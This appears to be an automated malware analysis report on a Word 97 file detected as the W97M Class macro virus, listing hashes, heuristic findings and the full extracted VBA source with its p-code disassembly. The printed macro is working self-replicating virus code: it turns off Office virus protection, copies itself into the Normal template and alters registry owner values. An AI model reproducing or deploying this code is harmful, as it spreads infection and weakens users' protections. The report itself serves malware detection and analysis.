Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 99a842d0af861dee…

MALICIOUS

Office (OLE)

209.0 KB Created: 1999-09-29 11:16:00 Authoring application: Microsoft Word 8.0 First seen: 2015-02-05
MD5: d44e4d9df59a525747c840e22ac54555 SHA-1: a529054f93bc63f827c6bc938eea96497897e280 SHA-256: 99a842d0af861deed92690203f558ae1ed44280aa33e0ebb87b0db2bdc7c5403
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

This document contains legacy WordBasic macro-virus markers and actively disables Office macro-virus protection. The VBA script attempts to disable security features by modifying the registry key HKCU\Software\Microsoft\Office\Word\Security\VBAWarnings. The presence of AutoOpen and Auto_Close macros, along with self-replication markers, indicates a malicious intent to spread or persist.

Heuristics 6

  • ClamAV: Doc.Trojan.Class-37 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-37
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
        .replaceline 1, "Sub AutoClose()"
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17554 bytes
SHA-256: 6da5200ba9ed1c93ad9d56fe6cac20fcd73e0672f90e06ae2e50484ced8efea3
Detection
ClamAV: Doc.Trojan.Class-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
Const REG_SZ As Long = 1
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
Const HKEY_CURRENT_USER As Long = &H80000001
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
Const HKEY_LOCAL_MACHINE As Long = &H80000002
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
Sub AutoOpen()
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
On Error GoTo out
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
Options.VirusProtection = False
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
Options.SaveNormalPrompt = False
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
Options.ConfirmConversions = False
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
If nt > 70 And ad > 0 Then GoTo out
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
If nt < 70 Then
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
    Set host = NormalTemplate.VBProject.VBComponents.Item(1)
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
    ActiveDocument.VBProject.VBComponents.Item(1).Name = host.Name
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
    ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys"
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
End If
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1)
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
If Day(Now) = 14 And Month(Now) > 5 Then MsgBox "I Think " & Application.UserName & " is a big stupid jerk!", 0, "Class.Poppy"
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
host.codemodule.AddFromFile ("c:\class.sys")
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
With host.codemodule
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
    For x = 1 To 16
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
    .deletelines 1
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
    Next x
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
End With
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
If nt < 70 Then
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
    With host.codemodule
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
    .replaceline 1, "Sub AutoClose()"
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
    .replaceline 91, "Sub ToolsMacro()"
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
    For x = 70 To 81
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
        .deletelines 62
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
    Next x
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
    .replaceline 35, "    For x = 1 To 4"
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
    End With
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
End If
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
If nt < 70 Then
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
u = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion", 0, KEY_ALL_ACCESS, k)
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
u = RegSetValueExA(k, "RegisteredOwner", 0, REG_SZ, "VicodinES /CB /TNN", 1)
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
u = RegSetValueExA(k, "RegisteredOrganization", 0, REG_SZ, "-(Dr. Diet Mountain Dew)-", 1)
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
u = RegCloseKey(k)
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
End If
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
With host.codemodule
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
    For x = 2 To 104 Step 2
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
    .replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
    Next x
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
End With
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
out:
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
If nt > 70 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
End Sub
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
Sub ViewVBCode()
'Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc
End Sub

' Processing file: /tmp/qstore_24lso8yx
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 9920 bytes
' Line #0:
' 	FuncDefn (Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long)
' Line #1:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #2:
' 	FuncDefn (Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long)
' Line #3:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #4:
' 	FuncDefn (Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long)
' Line #5:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #6:
' 	Dim (Const) 
' 	LitDI2 0x0001 
' 	VarDefn REG_SZ (As Long)
' Line #7:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #8:
' 	Dim (Const) 
' 	LitHI4 0x0001 0x8000 
' 	VarDefn HKEY_CURRENT_USER (As Long)
' Line #9:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #10:
' 	Dim (Const) 
' 	LitHI4 0x0002 0x8000 
' 	VarDefn HKEY_LOCAL_MACHINE (As Long)
' Line #11:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #12:
' 	FuncDefn (Sub AutoOpen())
' Line #13:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #14:
' 	OnError out 
' Line #15:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #16:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #17:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #18:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #19:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #20:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #21:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #22:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St ad 
' Line #23:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #24:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St nt 
' Line #25:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #26:
' 	Ld nt 
' 	LitDI2 0x0046 
' 	Gt 
' 	Ld ad 
' 	LitDI2 0x0000 
' 	Gt 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo out 
' 	EndIf 
' Line #27:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #28:
' 	Ld nt 
' 	LitDI2 0x0046 
' 	Lt 
' 	IfBlock 
' Line #29:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #30:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set host 
' Line #31:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #32:
' 	Ld host 
' 	MemLd New 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemSt New 
' Line #33:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #34:
' 	LitStr 0x000C "c:\class.sys"
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #35:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #36:
' 	EndIfBlock 
' Line #37:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #38:
' 	Ld ad 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set host 
' 	EndIf 
' Line #39:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #40:
' 	Ld Now 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x000E 
' 	Eq 
' 	Ld Now 
' 	ArgsLd Month 0x0001 
' 	LitDI2 0x0005 
' 	Gt 
' 	And 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0008 "I Think "
' 	Ld Application 
' 	MemLd UserName 
' 	Concat 
' 	LitStr 0x0016 " is a big stupid jerk!"
' 	Concat 
' 	LitDI2 0x0000 
' 	LitStr 0x000B "Class.Poppy"
' 	ArgsCall MsgBox 0x0003 
' 	EndIf 
' Line #41:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #42:
' 	LitStr 0x000C "c:\class.sys"
' 	Paren 
' 	Ld host 
' 	MemLd codemodule 
' 	ArgsMemCall AddFromFile 0x0001 
' Line #43:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #44:
' 	StartWithExpr 
' 	Ld host 
' 	MemLd codemodule 
' 	With 
' Line #45:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #46:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0010 
' 	For 
' Line #47:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #48:
' 	LitDI2 0x0001 
' 	ArgsMemCallWith deletelines 0x0001 
' Line #49:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #50:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	NextVar 
' Line #51:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #52:
' 	EndWith 
' Line #53:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #54:
' 	Ld nt 
' 	LitDI2 0x0046 
' 	Lt 
' 	IfBlock 
' Line #55:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #56:
' 	StartWithExpr 
' 	Ld host 
' 	MemLd codemodule 
' 	With 
' Line #57:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #58:
' 	LitDI2 0x0001 
' 	LitStr 0x000F "Sub AutoClose()"
' 	ArgsMemCallWith replaceline 0x0002 
' Line #59:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #60:
' 	LitDI2 0x005B 
' 	LitStr 0x0010 "Sub ToolsMacro()"
' 	ArgsMemCallWith replaceline 0x0002 
' Line #61:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #62:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0046 
' 	LitDI2 0x0051 
' 	For 
' Line #63:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #64:
' 	LitDI2 0x003E 
' 	ArgsMemCallWith deletelines 0x0001 
' Line #65:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #66:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	NextVar 
' Line #67:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #68:
' 	LitDI2 0x0023 
' 	LitStr 0x0012 "    For x = 1 To 4"
' 	ArgsMemCallWith replaceline 0x0002 
' Line #69:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #70:
' 	EndWith 
' Line #71:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #72:
' 	EndIfBlock 
' Line #73:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #74:
' 	Ld nt 
' 	LitDI2 0x0046 
' 	Lt 
' 	IfBlock 
' Line #75:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #76:
' 	Ld HKEY_LOCAL_MACHINE 
' 	LitStr 0x0029 "Software\Microsoft\Windows\CurrentVersion"
' 	LitDI2 0x0000 
' 	Ld KEY_ALL_ACCESS 
' 	Ld k 
' 	ArgsLd RegOpenKeyExA 0x0005 
' 	St u 
' Line #77:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #78:
' 	Ld k 
' 	LitStr 0x000F "RegisteredOwner"
' 	LitDI2 0x0000 
' 	Ld REG_SZ 
' 	LitStr 0x0012 "VicodinES /CB /TNN"
' 	LitDI2 0x0001 
' 	ArgsLd RegSetValueExA 0x0006 
' 	St u 
' Line #79:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #80:
' 	Ld k 
' 	LitStr 0x0016 "RegisteredOrganization"
' 	LitDI2 0x0000 
' 	Ld REG_SZ 
' 	LitStr 0x0019 "-(Dr. Diet Mountain Dew)-"
' 	LitDI2 0x0001 
' 	ArgsLd RegSetValueExA 0x0006 
' 	St u 
' Line #81:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #82:
' 	Ld k 
' 	ArgsLd RegCloseKey 0x0001 
' 	St u 
' Line #83:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #84:
' 	EndIfBlock 
' Line #85:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #86:
' 	StartWithExpr 
' 	Ld host 
' 	MemLd codemodule 
' 	With 
' Line #87:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #88:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0002 
' 	LitDI2 0x0068 
' 	LitDI2 0x0002 
' 	ForStep 
' Line #89:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #90:
' 	Ld x 
' 	LitStr 0x0001 "'"
' 	Ld Application 
' 	MemLd UserName 
' 	Concat 
' 	Ld Now 
' 	Concat 
' 	Ld Application 
' 	MemLd ActivePrinter 
' 	Concat 
' 	Ld Application 
' 	MemLd ActiveWindow 
' 	Concat 
' 	ArgsMemCallWith replaceline 0x0002 
' Line #91:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #92:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	NextVar 
' Line #93:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #94:
' 	EndWith 
' Line #95:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #96:
' 	Label out 
' Line #97:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #98:
' 	Ld nt 
' 	LitDI2 0x0046 
' 	Gt 
' 	Ld ad 
' 	LitDI2 0x0000 
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' 	EndIf 
' Line #99:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #100:
' 	EndSub 
' Line #101:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #102:
' 	FuncDefn (Sub ViewVBCode())
' Line #103:
' 	QuoteRem 0x0000 0x0042 "Koutsougeras29/09/99 21:16:12Canon LBP-660 on LPT1:greek jokes.doc"
' Line #104:
' 	EndSub

Open this report in the interactive analyzer, or submit your own file for analysis.